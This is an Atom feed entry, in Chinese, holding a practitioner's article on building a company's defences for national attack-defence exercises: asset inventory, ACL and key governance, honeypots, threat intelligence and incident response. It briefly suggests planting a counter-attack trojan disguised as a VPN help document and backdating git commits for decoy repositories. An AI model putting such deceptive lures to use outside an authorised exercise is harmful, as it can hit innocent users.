<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Tuuu Nya&#39;s blog</title>
  
  <subtitle>一个想当黑客的艺术家 ✨</subtitle>
  <link href="http://www.hackersb.cn/atom.xml" rel="self"/>
  
  <link href="http://www.hackersb.cn/"/>
  <updated>2024-09-24T09:44:58.830Z</updated>
  <id>http://www.hackersb.cn/</id>
  
  <author>
    <name>Tuuu Nya</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  <follow_challenge>
    <feedId>42851188568010789</feedId>
    <userId>60976380961647616</userId>
  </follow_challenge>
  
  <entry>
    <title>全国攻防演习的防守体系建设</title>
    <link href="http://www.hackersb.cn/security/hw-defensive-system-construction.html"/>
    <id>http://www.hackersb.cn/security/hw-defensive-system-construction.html</id>
    <published>2021-08-09T07:28:44.000Z</published>
    <updated>2024-09-24T09:44:58.830Z</updated>
    
    <content type="html"><![CDATA[<h2 id="0-前言"><a href="#0-前言" class="headerlink" title="0. 前言"></a>0. 前言</h2><p>笔者于2019年入职阿里巴巴，负责某业务反入侵团队。这三年时间刚好完整参加了三次全国范围的攻防演习活动，第一次是刚入职参加的，刚了解业务，后两次攻防演习作为一号位，带领安全团队均拿下了优异的成绩（全国防守排名前三）。</p><p>21年9月加入了默安科技。本文是笔者对阿里这段工作经历的小结，希望能够对大家有所帮助。安全工作还是要结合业务情况来进行部署，不一定完全适用于所有公司。这几年一直在埋头苦干，非常希望与大家多多交流，如有不足之处欢迎批评指正。</p><h2 id="1-确定防守目标"><a href="#1-确定防守目标" class="headerlink" title="1. 确定防守目标"></a>1. 确定防守目标</h2><p>攻防演习开始前，需要提交参演方相关信息，比较关键的的是核心业务系统和蜜罐信息。</p><p>前几年演习是有被攻击“出局”这个说法的，核心系统被攻破基本就“出局”了。核心业务系统的选择对结果有重要的影响，所以核心业务系统尽量选择业务隔离内网的目标作为核心目标。不仅可以提升攻击难度，也可以借助演习让攻击者对本单位进行一次彻彻底底的渗透测试。</p><p>在明确了核心业务系统后，我们后续的安全排查和加固工作，都要围绕核心业务系统展开。具体排查和加固方式后面<code>3. 安全排查/加固</code>部分重点分享。</p><p>另外一个要报备的关键信息是蜜罐，如果没有报备的蜜罐被入侵，不管是自建的还是采购的商业蜜罐，都会算做防守方失分，所以这点一定不能遗漏，尤其是具有高交互特性的蜜罐。蜜罐至少要提供蜜罐的URL、IP、端口、截图。关于蜜罐的部署和利用，我会在后面<code>3.4 反入侵能力增强</code>部分重点讲，蜜罐在威胁感知、溯源反制和威胁情报的重要作用。</p><h2 id="2-组织保障"><a href="#2-组织保障" class="headerlink" title="2. 组织保障"></a>2. 组织保障</h2><p>整个攻防演习期间组织保障非常关键，公司业务层面的重视程度会影响安全排查和加固的效率，间接影响效果。举个最简单的例子，安全团队要梳理各域名资产责任人，需要与运维团队配合，很多老旧的历史资产无人维护，甚至需要找到对应的研发来确认资产所属。如果研发和运维团队认为演习只是安全团队的事情，配合效率低下，这是很可怕的事情。</p><h3 id="2-1-项目重要性"><a href="#2-1-项目重要性" class="headerlink" title="2.1 项目重要性"></a>2.1 项目重要性</h3><p>为了解决组织内各个团队的配合问题，一定要将演习的优先级在大部门内提起来，这个各个公司可能都不太一样，我们公司是自上而下比较重视攻防演习，所以我们的重点工作主要是制定演习方案。制定好演习方案后与产研、运维、运营等团队达成一致，明确各团队职责，确定演习接口人与安全团队对接。</p><p>由于攻防演习本身的性质是针对基础设施的，所以大部分安全部门接到演习任务基本都是“政治任务”，很少会有不重视演习的情况。安全部门要借这个机会尽可能的争取资源、预算，不论整体安全能力如何，每年的攻防演习都是全员配合的重要任务，这是最容易提升安全能力的时候，日常推不动的工作，在演习的背景下，很多问题可以迎刃而解。</p><p>除了部门内部的协作外，还要考虑体系内是否有其它安全力量可以合作。比如部分生态公司、合作伙伴与本业务的网络架构有耦合，这些也可能会成为攻击者的突破口，需要对方也做好演习的相关准备，至少要做到攻击情报互通。</p><h3 id="2-2-项目启动"><a href="#2-2-项目启动" class="headerlink" title="2.2 项目启动"></a>2.2 项目启动</h3><p>在都已经明确各方职责，私下达成一致后，可以开一个项目启动会。介绍演习的背景、规则、目标，以及演习的时间安排、人员安排、工作内容安排等。工作内容是最重要的部分，主要的思路可参考后面<code>3. 安全排查/加固</code>部分的介绍。笔者在其他论坛上看到有人抱怨演习备战中各方都不配合，内部甚至也在“摸鱼”，其实核心原因就是大家的职责不明确，认为自己所做的事情可有可无。所以在启动会上一定要明确这点，大任务分拆成小任务，小任务完不成，大任务也不会有好结果。</p><h3 id="2-3-进度风险汇报"><a href="#2-3-进度风险汇报" class="headerlink" title="2.3 进度风险汇报"></a>2.3 进度风险汇报</h3><p>项目启动会后，演习正式进入全面备战阶段。</p><p>演习备战的大部分工作是安全自身要做的工作，比如Agent部署率、安全产品规则检查等。当然也有很大一部分工作其实并不是安全团队完成，比如业务接入统一认证系统、漏洞修复，可能更多的是研发需要工作，安全部门大多是推动工作，推动的痛苦相信甲乙方的同学应该都了解，如果推不动，对演习结果产生影响是谁都不想看到的，所以备战期间定期进度review非常重要，我们这两年都是秉承着“急事随时汇报，阶段性每周汇报”的思路。说起汇报，就要说一说，汇报给谁？答案是要汇报给兄弟团队，汇报给产研、运维、运营，最重要的是汇报给大领导，因为要汇报的不仅仅是进度，还有需要决策的风险。如果只是汇报进度，周报就完全足够了。</p><p>进度汇报的主要思路是围绕“风险”进行汇报，首先是我们目前关注哪些风险？其次是哪些已知的风险落地有风险？比如互联网边界排查，ACL边界开放过大是我们关注的风险，内部系统开放到外部的风险大家都懂，但是我们在排查中就发现有很多内部系统开放到一些未知的IP段，这些IP段看起来似乎也不是本业务的相关IP，但也无人认领。安全部门要不要封禁这些IP段？敢不敢封禁？如何封禁？每周的汇报会上就是要讨论这些风险的如何处理。</p><h2 id="3-安全排查-加固"><a href="#3-安全排查-加固" class="headerlink" title="3. 安全排查/加固"></a>3. 安全排查/加固</h2><p>攻防演习防守的其实是企业资产，演习前的一切安全排查和加固都围绕核心资产展开，以核心资产为中心，向外辐射到各个资产。资产包括物理资产、硬件资产、软件资产等，另外人也是红蓝对抗中最容易造成突破口的资产。梳理资产的目的是为了明确网络边界，只有明确了网络边界和防守边界，才能更好的制定策略。如何梳理全面企业资产我会在<code>3.1 梳理资产</code>部分详细介绍。</p><p>我们在落地过程中主要围绕安全部门各小团队的职责来划分工作，读者可以视各自的情况来定。我们主要分为生产网安全、物理安全、数据安全、反入侵这四个部分来构建防御体系。各个团队可能会有部分职责重叠的地方，比如系统网络和应用安全都会面临弱口令等数据安全相关的权限问题，这很正常，在<code>进度风险汇报</code>中说清楚做了哪些，哪些还没做，定清楚Owner即可。</p><p>为了保障安全排查的全面性，大部分工作都是正向自查和红队反查的方式进行。下面各章节会详细介绍如何正反怎么配合进行。</p><h3 id="3-1-梳理资产"><a href="#3-1-梳理资产" class="headerlink" title="3.1 梳理资产"></a>3.1 梳理资产</h3><p>首先资产主要分为硬件资产、软件资产和人。软件资产和人其实相对是比较好收集的，数字化能力相对比较高。硬件资产比较依赖IT和IDC相关部门的能力。不论以何种方式完成资产的梳理，哪怕是Excel来收集，这是一定要做的。</p><p>硬件资产主要包括机房设备、网络设备、安全设备、办公网区设备等，这类资产一般涉及到多支团队，需要耗费大量人力投入去梳理。这里需要注意的外采设备的梳理，不论是外采的“盒子”还是私有化部署到服务器上的设备，都要收集到，比如VPN、APT威胁检测设备等，这类设备如果出现漏洞被攻击，比业务主机被拿下的风险还要大。</p><p>软件资产主要包括域名、IP、机器、应用等，我们的业务全部上了阿里云，阿里云有完整的API接口可以实现资产的拉取。结合业务使用的云产品，通过阿里云API接口可以基本可以实现云上资产的梳理。</p><ul><li>域名资产：如果使用了阿里云“云解析”产品，可通过<a href="https://help.aliyun.com/document_detail/29751.html">DescribeDomains</a>接口获取所有域名，再通过<a href="https://help.aliyun.com/document_detail/29776.html">DescribeDomainRecords</a>接口获取所有子域名。</li><li>IP资产：由于我们的网络架构问题，主要关注负载均衡SLB和弹性公网EIP，SLB可通过<a href="https://help.aliyun.com/document_detail/27582.htm">DescribeLoadBalancers</a>接口获取所有SLB实例，EIP可以通过<a href="https://help.aliyun.com/document_detail/36018.htm">DescribeEipAddresses</a>接口获取。</li><li>应用：阿里云上所有ECS都装了安骑士和态势感知的Agent，可以很方便的取得完整机器列表和IP列表，甚至包括端口开放情况、中间件和版本情况。另外态势感知也会基于中间件版本来匹配已公开漏洞，进行漏洞扫描。</li></ul><p>还有一部分资产是“人”，梳理人的资产基本找HR就能拿到全集，梳理这部分数据是为了做后续的安全意识培训和钓鱼演练。</p><p>我们第一步花了大量的精力去梳理资产，最终得到了一张公司资产大图，下一步我们要做一件更加痛苦的事情，<strong>明确资产责任人和安全责任人</strong>。</p><p>一般运维团队会有CMDB系统协助我们完成很多资产的归属，但仍有一大部分需要人力推动去确认。如果这里的工作进展的极其痛苦，那么说明日常的安全流程建设，还是有很大的提升空间。如何提升我们在最后的<code>5.2运营机制优化</code>部分细聊。</p><p>完成资产梳理工作后，我们就可以正式进入安全自查阶段了。当然，部分已知的安全问题是可以和资产梳理工作同步进行的。</p><h3 id="3-2-生产网安全"><a href="#3-2-生产网安全" class="headerlink" title="3.2 生产网安全"></a>3.2 生产网安全</h3><p>生产网安全部分主要分为应用安全、系统网络安全、数据和权限安全三大类。</p><h4 id="3-2-1-应用安全"><a href="#3-2-1-应用安全" class="headerlink" title="3.2.1 应用安全"></a>3.2.1 应用安全</h4><p>应用安全主要围绕漏洞管理和安全方案展开，主要目标是保障生产和测试环境完成安全加固，通过红队渗透测试验收。这里列几个重点工作方向供大家参考。</p><h5 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h5><p>已知漏洞修复（含日常SDL检出的漏洞、渗透测试发现的漏洞及其他漏洞）</p><h5 id="封网和需求安全评审"><a href="#封网和需求安全评审" class="headerlink" title="封网和需求安全评审"></a>封网和需求安全评审</h5><p>演习期间要进行封网，演习期间原则上不允许上线新业务。应用安全团队要积极与产研梳理演习期间要上线的业务，该业务改动较大，安全风险比较大的，建议推迟到演习后上线。</p><h5 id="安全能力覆盖率排查"><a href="#安全能力覆盖率排查" class="headerlink" title="安全能力覆盖率排查"></a>安全能力覆盖率排查</h5><p>如SDL卡点、白盒扫描、RASP、WAF、安全Agent等安全能力的覆盖率，若未覆盖全的需在演习前覆盖完毕并做好安全检查。</p><h5 id="内部高风险系统安全排查"><a href="#内部高风险系统安全排查" class="headerlink" title="内部高风险系统安全排查"></a>内部高风险系统安全排查</h5><p>内部高风险系统进行重点安全评估，如运维系统、安全、客服系统。这类系统如果被入侵，通常具有较大权限，甚至可以直接控制线上所有资产。</p><h5 id="社会工程学攻击防范"><a href="#社会工程学攻击防范" class="headerlink" title="社会工程学攻击防范"></a>社会工程学攻击防范</h5><p>因为演习的规则是允许一定程度的社会工程学攻击的，比如钓鱼邮件、客服系统的攻击，都是比较高频的攻击手法。我们可以考虑在演习期间做一定程度的加固，比如禁止邮箱服务接受外域邮件、客服系统关闭文件上传通道、客服系统超链接点开前二次确认等。</p><h5 id="供应链攻击防范"><a href="#供应链攻击防范" class="headerlink" title="供应链攻击防范"></a>供应链攻击防范</h5><p>这里包含软件供应链以及生态公司、合作伙伴等，软件供应链主要是检查系统耦合的一些第三方包/库是否安全。对于在网络上存在耦合的合作伙伴和生态公司一方面是要求对方做好加固和值守准备，另一方面是要做好切断合作伙伴与本业务网络通道的应急预案。</p><h4 id="3-2-2-系统网络安全"><a href="#3-2-2-系统网络安全" class="headerlink" title="3.2.2 系统网络安全"></a>3.2.2 系统网络安全</h4><p>系统网络主要围绕网络边界、访问控制、认证鉴权、主机安全展开。主要目标是确保生产环境、测试环境、预发环境以及办公网的网络安全。列几个重点工作方向供大家参考。</p><h5 id="网络隔离排查"><a href="#网络隔离排查" class="headerlink" title="网络隔离排查"></a>网络隔离排查</h5><p>网络隔离检查主要两方面，一是边界对外开放情况的摸排，确保内部系统都正确设置了ACL且没有开放过大的情况（比如将内部系统开放给某个大B段）。ACL排查的效果首先取决于<code>3.1 梳理资产</code>部分梳理的资产是否完整。二是内部网络区域划分检查，不要出现“一张网”的情况，防止攻击者突破边界后可直接访问到核心业务系统。</p><p>ACL排查主要分为两类，一是域名对外开放的情况排查，二是主机对外开放的排查。我司的安全架构设计的比较严格，所有的主机（ECS）禁止配置弹性公网IP，所有对外开放必须通过SLB，我们通过拉取SLB资产的配置信息即可拿到全部的ACL策略。域名通过拉取WAF/SLB即可拿到所有的ACL策略。所以我们的主要工作都在检查策略上。</p><p>检查ACL策略可以先指定一些黑名单，比如对外开放设置为<code>*</code>的，必然需要与业务方确认进行更细力度的设置。设置为大B段的同理。黑名单可以筛掉一大部分异常的ACL规则，白名单的只能逐步与业务方确认。</p><h5 id="主机-终端高危漏洞修复"><a href="#主机-终端高危漏洞修复" class="headerlink" title="主机/终端高危漏洞修复"></a>主机/终端高危漏洞修复</h5><p>这里主要关注服务器上可被利用的RCE漏洞，未授权漏洞，主要是为了防止黑客利用这些漏洞突破边界，即便被突破，也可以增加横向移动的攻击成本。</p><p>如果企业有安装安全Agent，大概率会有主机漏洞扫描的能力，阿里云用户可以使用态势感知进行漏洞扫描，确定要修复的漏洞种类和机器，甚至可以一键修复。当然，修复是有稳定性影响的，需要和运维、研发定好策略，做好备份，按批次修复。</p><h5 id="系统弱口令和未授权风险排查"><a href="#系统弱口令和未授权风险排查" class="headerlink" title="系统弱口令和未授权风险排查"></a>系统弱口令和未授权风险排查</h5><p>对所有Web系统、安全设备、网络设备进行未授权和弱口令检测。这部分工作要根据梳理的资产写一些小脚本，快速进行检测，可通过主动扫描来做检测，也可通过流量分析来做检测，具体做法这里不细谈。</p><h5 id="办公网网络加固"><a href="#办公网网络加固" class="headerlink" title="办公网网络加固"></a>办公网网络加固</h5><p>这部分主要是确保终端EDR的部署率，确保安全规则设置无误。可以根据各自的情况做一些相对严格的限制，比如封禁办公网终端间除<code>80</code>，<code>443</code>端口以外的其它端口访问、禁用USB读写（如有强需求建议专机专用）。另外办公网也可以部署一些蜜罐来迷惑攻击者。</p><p>办公网的WIFI也可视情况进行加固，如无必要，可在演习期间关闭WIFI网络。</p><p>办公网的硬件设备也要注意清点，比如VPN、会议系统等。这类设备很容易对公网开放，且0day比较多，如无必要也可以考虑在演习期间关闭。</p><h4 id="3-2-3-数据和权限安全"><a href="#3-2-3-数据和权限安全" class="headerlink" title="3.2.3 数据和权限安全"></a>3.2.3 数据和权限安全</h4><p>数据和权限安全团队重点关注账号权限、密钥风险。列几个重点方向供大家参考。</p><h5 id="账号权限收敛及密码策略排查"><a href="#账号权限收敛及密码策略排查" class="headerlink" title="账号权限收敛及密码策略排查"></a>账号权限收敛及密码策略排查</h5><p>账号权限收敛首先根据梳理的资产明确具有账号权限的核心B类系统，安全设备、网络设备。权限收敛很大一部分工作是做闲置账号的清理。如果公司没有统一认证系统和权限管理系统，那么大概率会出现已离职人员账号未清理、闲置账号（一两年都没用）的情况，这些账号无人使用，如果出现弱口令，被攻击也无人感知，风险极大。密码策略排查这里就不再细说。</p><h5 id="密钥治理"><a href="#密钥治理" class="headerlink" title="密钥治理"></a>密钥治理</h5><p>由于业务全部上云，各个云产品都有对应的AK/SK，密钥风险的管控在云上尤为重要。主要是密钥泄露风险，如果一个大权限AK被泄露，通过API基本可以控制云上所有资产。泄露的核心原因还是明文存储，在代码中明文存储、在服务器上明文存储、在脚本里明文存储。治理思路首先是排查大权限AK，确认是否有开这么大权限的必要，如果确实有必要，是否可以缩小为只读权限。排查明文存储根据我们的工作场景，主要排查主机文件、OSS Bucket上的文件、Git仓库文件，撰写脚本批量排查这些地方是否有明文存储AK的情况并进行整改。</p><p>另外一个方式是对AK做ACL限制，限制AK仅允许生产网的IP段访问API，另外听说阿里云后续要做到AK限制到只有哪个VPC来访问，这里给阿里云点个赞，期待。AK限制ACL这件事推动比较难，在AK申请流程中增加限制可解决增量问题，存量未设置ACL的AK就需要日常去推进了。</p><p>密钥治理我们更多的是在讲限制，但问题肯定是没法全部覆盖的，所以我们需要有兜底的手段，我们是通过与反入侵团队合作，调取AK调用记录，定制监控，若AK被非生产网IP所调用，会实时告警。</p><h3 id="3-3-物理安全"><a href="#3-3-物理安全" class="headerlink" title="3.3 物理安全"></a>3.3 物理安全</h3><p>物理安全顾名思义，也有不少需要注意的点。</p><h4 id="3-3-1-办公区物理安全"><a href="#3-3-1-办公区物理安全" class="headerlink" title="3.3.1 办公区物理安全"></a>3.3.1 办公区物理安全</h4><p>办公区物理安全主要是防止近源攻击，WI-FI网络、RFID门禁、暴露的有线网口、USB接口等都可能会成为近源攻击的对象，比如我们当时就发现门口的打卡机连接的网线，可以直入办公网。还有乙方老生常谈的“捡U盘”、医院的服务终端机沙盒bypass等。各位可根据实际情况进行对应的加固。</p><h4 id="3-3-2-机房物理安全"><a href="#3-3-2-机房物理安全" class="headerlink" title="3.3.2 机房物理安全"></a>3.3.2 机房物理安全</h4><p>我司机房也有对应的安全团队，所以额外做了些限制和监控，托管的IDC可做的事情不多，这里不细说。</p><h4 id="3-3-3-人员安全意识"><a href="#3-3-3-人员安全意识" class="headerlink" title="3.3.3 人员安全意识"></a>3.3.3 人员安全意识</h4><p>人员安全意识比较关键，安全攻防核心其实是人的对抗。理解攻防演习通过社工攻击人的情况太多了，所以一定要做全员安全意识培训，不同工作性质的人群遇到的风险可能不近相同，比如客服是最容易被钓鱼的，那就要对症下药，政策和安全意识教育两手抓。</p><h3 id="3-4-反入侵能力增强"><a href="#3-4-反入侵能力增强" class="headerlink" title="3.4 反入侵能力增强"></a>3.4 反入侵能力增强</h3><p>聊起反入侵，其实很多公司可能没有反入侵这支团队，入侵检测和应急响应的事情更多的是其它安全工程师兼着就做了，但反入侵这些事情，对攻防演习的效果有决定性的影响。</p><p>笔者在阿里主要负责某个业务的反入侵（非集团/阿里云反入侵团队），团队职责主要是威胁感知和应急响应。因为部分思路和技术非本人原创，所以这里只能选择性的分享一些我自己的思考和实践。</p><p>我这里按照渗透测试、威胁情报、威胁感知、应急响应、溯源反制五个方面来详细介绍。因为红队的职责也在我这里，所以渗透测试也在这里一同分享。</p><h4 id="3-4-1-渗透测试"><a href="#3-4-1-渗透测试" class="headerlink" title="3.4.1 渗透测试"></a>3.4.1 渗透测试</h4><p>其实常规的渗透测试可说的不多，每年我们在攻防演习前都会请阿里云对业务进行全面的渗透测试。因为演习目标是“零”失分，所以渗透测试重点一般是模拟突破边界。当然，在日常的渗透测试中也会做东西向渗透测试。</p><p>反向验证，在渗透测试这个部分单独说一下。我们安全团队虽然大家做的事情都是为了提升安全能力，但还是分为了以安全加固为主的“正向团队”和更偏攻防实战的“反向团队”。在演习前做的所有加固工作，反向团队都会进行验证。举两个例子，第一个是正向团队为了确保安全防护效果排查了WAF的部署率，那反向团队就会做反向扫描，看是否有遗漏？以及WAF规则是否都正确开启？结果还真发现了由于阿里云WAF大版本更新，IP加白/加黑配置方式变化，导致大版本更新后配置的ACL加白全部无效的情况。第二个是正向团队推进业务接入统一认证系统，结果在反向验证中发现统一认证系统接入SDK并不统一，各个业务放接入方式不一致，导致部分认证可被绕过。</p><p>说这么多是为了告诉大家，做安全加固还是要验证，不能太相信“经验”。</p><h4 id="3-4-2-威胁情报"><a href="#3-4-2-威胁情报" class="headerlink" title="3.4.2 威胁情报"></a>3.4.2 威胁情报</h4><p>实战攻防演习在演习期间，其实是“情报战”。第一年参加演习的时候，感觉雷达就是黑的，不知道谁攻击了我，也不知道现在演习到底什么情况，非常惶恐，这其实就是情报不到位导致的。另外在威胁感知、应急响应、溯源反制大量利用到威胁情报，所以第二部分重点讲一下威胁情报的生产和消费。</p><h5 id="威胁情报生产"><a href="#威胁情报生产" class="headerlink" title="威胁情报生产"></a>威胁情报生产</h5><p>我们建设了一个内部的威胁情报库，主要包括<strong>IP</strong>、<strong>UMID</strong>、<strong>UID</strong>、<strong>姓名</strong>、<strong>威胁类型</strong>、<strong>威胁等级</strong>、<strong>情报可信度</strong>等字段。根据如下信息产出威胁情报：</p><ul><li>历史WAF、态势感知、安骑士、云防火墙、自建告警攻击记录</li><li>实时沉淀安全告警信息</li><li>互联网公开威胁情报收集</li><li>威胁情报蜜罐</li><li>三方安全厂商及威胁情报厂商合作</li><li>合作伙伴及生态公司威胁情报共享</li></ul><p>上面列的这些威胁情报来源都比较好理解，历史攻击记录都存在ODPS中，通过ODPS SQL就可以查询出对应的信息并写入到威胁情报库。</p><p>阿里云大部分云产品日志都存储在日志服务SLS中，通过Blink或SLS自带的数据加工功能即可筛选想要的实时告警写入到威胁情报库。</p><p>互联网公开威胁情报就写对应的爬虫存入威胁情报库即可，这里推荐一个免费开源的<a href="http://iplists.firehol.org/">firehol</a>威胁情报库，firehol本身收集恶意IP是为了做防火墙规则的，当然也可以作为威胁情报来使用。firehol的缺点是只有IP和大致类别，没有更详细的字段。</p><p>威胁情报蜜罐这个顾名思义，甲方做的话成本比较高，要考虑投入产出比。建议了解下三方安全厂商和威胁情报厂商，另外默安科技的幻阵蜜罐目前用的厂商比较多，其实是能产出较多的威胁情报的，采购一波默安蜜罐，既能做威胁感知，又可以白嫖重保期间的威胁情报。</p><p>合作伙伴和生态公司威胁情报这个也很好理解，需要提前制定好威胁情报格式或者使用国际通用的STIX/TAXII格式，然后推动合作伙伴按照该格式共享威胁情报。当然，也可以在战时人工同步。</p><h5 id="威胁情报消费"><a href="#威胁情报消费" class="headerlink" title="威胁情报消费"></a>威胁情报消费</h5><p>当我们收集了足够多的威胁情报后，只有在消费/利用了情报才会产生价值，否则就仅仅只是“威胁情报”。</p><p>情报消费消费主要分为三大场景：<strong>拦截</strong>、<strong>感知</strong>、<strong>响应</strong>。</p><p>拦截：高精准度的威胁情报，我们可以直接加入到防火墙规则拦截，比如firehol的威胁情报就分为很多种，有的是恶意邮件、有的是曾经是C2服务器，还有一类是目前没有被分配的IP，这类IP正常情况是不可能有访问行为的。大家可以根据自身业务情况，选择可以拦截的情报进行主动拦截。</p><p>感知：我们所有业务都在阿里云上，阿里云提供了所有ECS的网络连接日志，所以我们可以监测ECS外联威胁情报恶意IP的情况，包括Web访问日志可以过一遍威胁情报。部分无法直接拦截的情报，也可在内网网络连接中进行检测和告警。</p><p>响应：演习期间的告警量往往比平时高好几倍，为了提高告警运营效率，我们将所有告警统一到一起，全部过一遍威胁情报，告警运营时可参考威胁情报的评级重点关注相关告警。</p><p>威胁情报消费部分这里只是简单讲了讲思路，具体的做法在后面几个小章节里面会细讲。</p><h4 id="3-4-2-威胁感知"><a href="#3-4-2-威胁感知" class="headerlink" title="3.4.2 威胁感知"></a>3.4.2 威胁感知</h4><p>威胁感知就像是攻防演习打仗时候的情报来源，像雷达一样。威胁感知做的不好，雷达上就一片黑。我们威胁感知的basline是靠阿里云WAF、威胁感知、安骑士等云安全产品支撑。</p><p>为了进一步提升威胁感知能力，我们在威胁情报、蜜罐、蜜饵、核心系统重保等方面也下了不少功夫。</p><h5 id="蜜罐部署"><a href="#蜜罐部署" class="headerlink" title="蜜罐部署"></a>蜜罐部署</h5><p>我认为蜜罐有两个重大意义，一是做威胁感知的兜底，二是溯源反制的利器（后面<code>3.4.4 溯源反制</code>里面重点讲下如何利用蜜罐来做溯源）。大部分安全产品和自建的告警，其实是基于恶意行为的检测，都是“黑名单”，如果没有对某种威胁行为建模，就无法捕获这类攻击行为，所以蜜罐的部署和覆盖策略就非常关键。</p><p>蜜罐的原理是模拟真实业务系统，投放诱饵吸引攻击者攻击，攻击者攻击后蜜罐产出告警，达到威胁感知的能力。</p><p>互联网和内网面临的攻击手法大不同相同，所以我们在互联网上部署高交互、高仿真的蜜罐，吸引攻击者进行攻击，在蜜罐上植入溯源代码，获取攻击者的互联网ID、设备指纹等信息。除了采购安全公司的蜜罐（疯狂暗示默安幻阵），有条件的单位可以将自己的业务系统代码拿出来，剥离掉所有功能，仅保留登录功能，登录功能使用SSO，这样攻击者在攻击时一定会注册业务系统账号，可能就会留下注册所需的邮箱、手机号、IP等信息，便于识别和溯源攻击者。</p><h5 id="扩大蜜罐感知面"><a href="#扩大蜜罐感知面" class="headerlink" title="扩大蜜罐感知面"></a>扩大蜜罐感知面</h5><p>互联网蜜罐在部署上我们一般会选择OA、VPN、MAIL等沙箱，那么互联网蜜罐可以使用oa.xxxx.com、vpn.xxxx.com、sslvpn.xxxx.com、webmail.xxxx.com诸如此类的域名，但要注意的是一定要在演习前将该域名报备到蜜罐列表中，否则蜜罐被攻击可能会导致失分。</p><p>内网蜜罐主要是为了发现攻击者进入到内网的情况，所以部署的越广越好，但内网假设有1000台机器，我们不可能部署1000台蜜罐，一般的思路是在每个网络区中部署一套蜜罐，然后在该网络区其它机器上部署流量转发脚本，将业务不需要的端口流量转发到内网蜜罐中。</p><p>我们的业务是全部上云的，如果是传统IDC厂商，默安有个硬件设备，叫做“中继节点”，部署在交换机上，可以将VLAN中空闲IP流量转发到蜜罐沙箱中（当然，得搭配默安的蜜罐使用）。</p><h5 id="诱饵投放"><a href="#诱饵投放" class="headerlink" title="诱饵投放"></a>诱饵投放</h5><p>投放诱饵其实也是为了扩大蜜罐感知面，吸引攻击者来进行攻击。投放诱饵其实是顺着攻击者的思路来进行投放，攻击者在做攻击的第一步永远是信息收集，那么攻击者会收集哪里的信息？答案是：Github、百度文库、百度网盘、企查查等等，红队信息收集手法很多，我们在这些必经之路上都可以设置诱饵，比如我们在Github上传一些代码，其中夹杂着蜜罐的URL，甚至放个假密码上去。在百度文库上上传一个XX系统使用文档，里面包含蜜罐的URL和默认账号密码。在百度网盘上传个反制木马，命名为“XXX单位VPN使用帮助”，诸如此类，可做的很多。不过这里想要起到更好的效果，可以先对本单位做一次互联网风险暴露面的排查，看看重灾区在哪，边做排查清理，边做诱饵的投放。在Github上投放诱饵也有一个小tips，如果我们按照正常流程上传代码，那么Github会显示该项目是1秒前刚上传，攻击者又不傻，HW各个公司都在做安全意识培训，怎么可能有研发蠢到在这个时间点上传代码到Github，所以我们可以通过修改系统时间，然后commit的方式，让Github显示这个代码是x年前/x个月前上传的代码。像这样的小tips非常非常多，就不在这里赘述了，我的建议是，买默安的重保服务吧。</p><h4 id="3-4-4-应急响应"><a href="#3-4-4-应急响应" class="headerlink" title="3.4.4 应急响应"></a>3.4.4 应急响应</h4><h5 id="3-4-4-1-完善感知和处置能力"><a href="#3-4-4-1-完善感知和处置能力" class="headerlink" title="3.4.4.1 完善感知和处置能力"></a>3.4.4.1 完善感知和处置能力</h5><p>攻防演习核心其实是攻击和防守，防守上有两个重点，一个是感知（发现攻击），另一个是处置（阻断攻击）。首先在网络层面，至少需要有全流量安全感知设备，可以配套用蜜罐来做兜底的威胁检测。这里也可以做的比较细，比如从互联网的攻击可以用WAF来做感知和阻断，办公网的可以用EDR来做感知和阻断，办公网VLAN间用防火墙来做隔离，邮件安全用邮件网关，诸如此类，要保障几乎所有外到内、内到内的路径我们能发现攻击，且能阻断攻击。</p><h5 id="3-4-4-2-完善处置流程"><a href="#3-4-4-2-完善处置流程" class="headerlink" title="3.4.4.2 完善处置流程"></a>3.4.4.2 完善处置流程</h5><p>感知和处置能力完成以后，还要考虑人为因素，应急响应流程应该由谁来发起，谁来审批，谁来执行处置动作。这类预案要提前设好，比如DMZ区的主机权限被控如何应急、隔离内网的主机被控如何应急、Web发现攻击如何应急、如果流程上审批都通过了，技术人员按照哪种步骤进行应急。这都要提前写好预案，至少有技术上的playbook。</p><h5 id="3-4-4-3-应急演练"><a href="#3-4-4-3-应急演练" class="headerlink" title="3.4.4.3 应急演练"></a>3.4.4.3 应急演练</h5><p>应急演练主要是两个目的，一是验证处置能力是否有效。二是验证应急响应流程是否有效。</p><p>首先是验证处置能力是否有效，比如：模拟黑客攻击Web，看WAF是否能发现Web被攻击，使用WAF进行拦截，验证WAF拦截的有效性、时效性等。主机侧和网络侧类似。</p><p>二是验证应急响应流程是否有效。比如：发现某类攻击，启动应急响应流程，关键人是否敢审批？我们之前在突击演练中就发现一些问题，当技术提交应急响应流程单以后，客户需要层层向上报批，一直报到大领导，才敢审批，这个过程持续了将近30分钟，应急响应的难度大大增加。这种情况就需要对流程进行优化。</p><h4 id="3-4-4-溯源反制"><a href="#3-4-4-溯源反制" class="headerlink" title="3.4.4 溯源反制"></a>3.4.4 溯源反制</h4><p>规划文章目录的时候，规划了溯源反制，但觉得内容太敏感，这里就省略了。</p><p>如果真的感兴趣，建议是私聊我微信吧。</p><h2 id="4-总结"><a href="#4-总结" class="headerlink" title="4. 总结"></a>4. 总结</h2><p>这篇文章缝缝补补写了很久，内容主要围绕在反入侵和攻防的内容，因为这是我的职责所在。现在回头看，觉得写的挺不好的，有很多地方值得改进，不过还是分享出来供大家参考讨论。</p><!-- This message is used to verify that this feed (feedId:42851188568010789) belongs to me (userId:60976380961647616). Join me in enjoying the next generation information browser https://follow.is. -->]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;0-前言&quot;&gt;&lt;a href=&quot;#0-前言&quot; class=&quot;headerlink&quot; title=&quot;0. 前言&quot;&gt;&lt;/a&gt;0. 前言&lt;/h2&gt;&lt;p&gt;笔者于2019年入职阿里巴巴，负责某业务反入侵团队。这三年时间刚好完整参加了三次全国范围的攻防演习活动，第一次是刚入职参</summary>
      
    
    
    
    <category term="security" scheme="http://www.hackersb.cn/categories/security/"/>
    
    
    <category term="HW行动" scheme="http://www.hackersb.cn/tags/HW%E8%A1%8C%E5%8A%A8/"/>
    
    <category term="防御体系" scheme="http://www.hackersb.cn/tags/%E9%98%B2%E5%BE%A1%E4%BD%93%E7%B3%BB/"/>
    
